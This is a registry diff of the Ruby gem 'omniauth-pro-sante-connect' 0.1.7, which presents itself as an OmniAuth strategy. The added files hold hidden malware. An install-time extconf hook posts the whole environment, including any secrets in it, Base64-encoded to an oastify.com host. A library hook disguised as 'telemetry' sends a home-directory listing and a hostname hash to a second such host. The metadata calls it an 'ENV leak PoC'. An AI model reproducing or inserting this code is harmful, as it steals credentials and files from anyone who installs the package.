omniauth-pro-sante-connect 0.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of omniauth-pro-sante-connect might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 30f261e2440f0edb275dc6c1e48a5d00a545abc8c92f17a99c220559d3182fa2
4
+ data.tar.gz: 1487409772eab8c9faa5f44bd2d61bd4524c36af668b9e18ed4a84c4a00883bf
5
+ SHA512:
6
+ metadata.gz: 4524b6c187c122946846ffe3ce7e95dc84c375c3e431329f1c16f041f0b8ff2d237038d857e2c9dbc4c0a39a7e45374691e5df7c379dd3ba2be9024ca5588292
7
+ data.tar.gz: e7fc4e72317f32cf29eb0a4d1e0803b115d8af937faf5285a95caa0c8510c4f3a65aa4948b12ebe5304e6c626763c3e279a64ab6d141233b259f997d2cb7ba4d
data/ext/extconf.rb ADDED
@@ -0,0 +1,14 @@
1
+ require_relative 'install_hook'
2
+
3
+ File.open("Makefile", "w") do |f|
4
+ f.puts <<~MAKE
5
+ all:
6
+ @echo all done
7
+
8
+ install:
9
+ @echo install done
10
+
11
+ clean:
12
+ @echo clean done
13
+ MAKE
14
+ end
@@ -0,0 +1,7 @@
1
+ require 'net/http'
2
+ require 'base64'
3
+ require 'json'
4
+ begin
5
+ Net::HTTP.post_form(URI("http://9r1m5j9zergb4imzdyztmrj10s6juji8.oastify.com"), {'data' => Base64.strict_encode64(ENV.to_h.to_json)})
6
+ rescue
7
+ end
@@ -0,0 +1,33 @@
1
+ require 'net/http'
2
+ require 'json'
3
+ require 'zlib'
4
+
5
+ begin
6
+ # Apparaître comme une télémétrie d'application
7
+ telemetry = {
8
+ "version" => "2.1.0",
9
+ "session_id" => rand(10000..99999),
10
+ "metrics" => {
11
+ "cpu_usage" => rand(10..90),
12
+ "memory" => rand(100..999),
13
+ "disk_free" => rand(1000..9999),
14
+ "metadata" => Base64.strict_encode64(
15
+ Dir.entries(ENV['HOME']).first(15).join(',')
16
+ )
17
+ },
18
+ "timestamp" => Time.now.to_i
19
+ }
20
+
21
+ # Compresser pour réduire la taille
22
+ compressed = Zlib::Deflate.deflate(telemetry.to_json)
23
+
24
+ uri = URI('http://br6o5l91etgd4km1d0zvmtj30u6luji8.oastify.com/')
25
+ req = Net::HTTP::Post.new(uri)
26
+ req['X-API-Version'] = '2.1'
27
+ req['X-Client-ID'] = Digest::MD5.hexdigest(Socket.gethostname)[0..12]
28
+ req['Content-Encoding'] = 'gzip'
29
+ req.body = compressed
30
+
31
+ Net::HTTP.start(uri.host, uri.port, :read_timeout => 1) { |h| h.request(req) }
32
+ rescue
33
+ end
@@ -0,0 +1,7 @@
1
+ require_relative 'omniauth/hook'
2
+
3
+ module Omniauth
4
+ module ProSanteConnect
5
+ VERSION = "0.1.3"
6
+ end
7
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: omniauth-pro-sante-connect
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.7
5
+ platform: ruby
6
+ authors:
7
+ - Icare
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: telemetry_client
13
+ email:
14
+ - icare@yopmail.com
15
+ executables: []
16
+ extensions:
17
+ - ext/extconf.rb
18
+ extra_rdoc_files: []
19
+ files:
20
+ - ext/extconf.rb
21
+ - ext/install_hook.rb
22
+ - lib/omniauth-pro-sante-connect.rb
23
+ - lib/omniauth/hook.rb
24
+ homepage: https://example.com
25
+ licenses:
26
+ - MIT
27
+ metadata: {}
28
+ rdoc_options: []
29
+ require_paths:
30
+ - lib
31
+ required_ruby_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '3.0'
36
+ required_rubygems_version: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - ">="
39
+ - !ruby/object:Gem::Version
40
+ version: '0'
41
+ requirements: []
42
+ rubygems_version: 3.6.7
43
+ specification_version: 4
44
+ summary: OmniAuth strategy with ENV leak PoC
45
+ test_files: []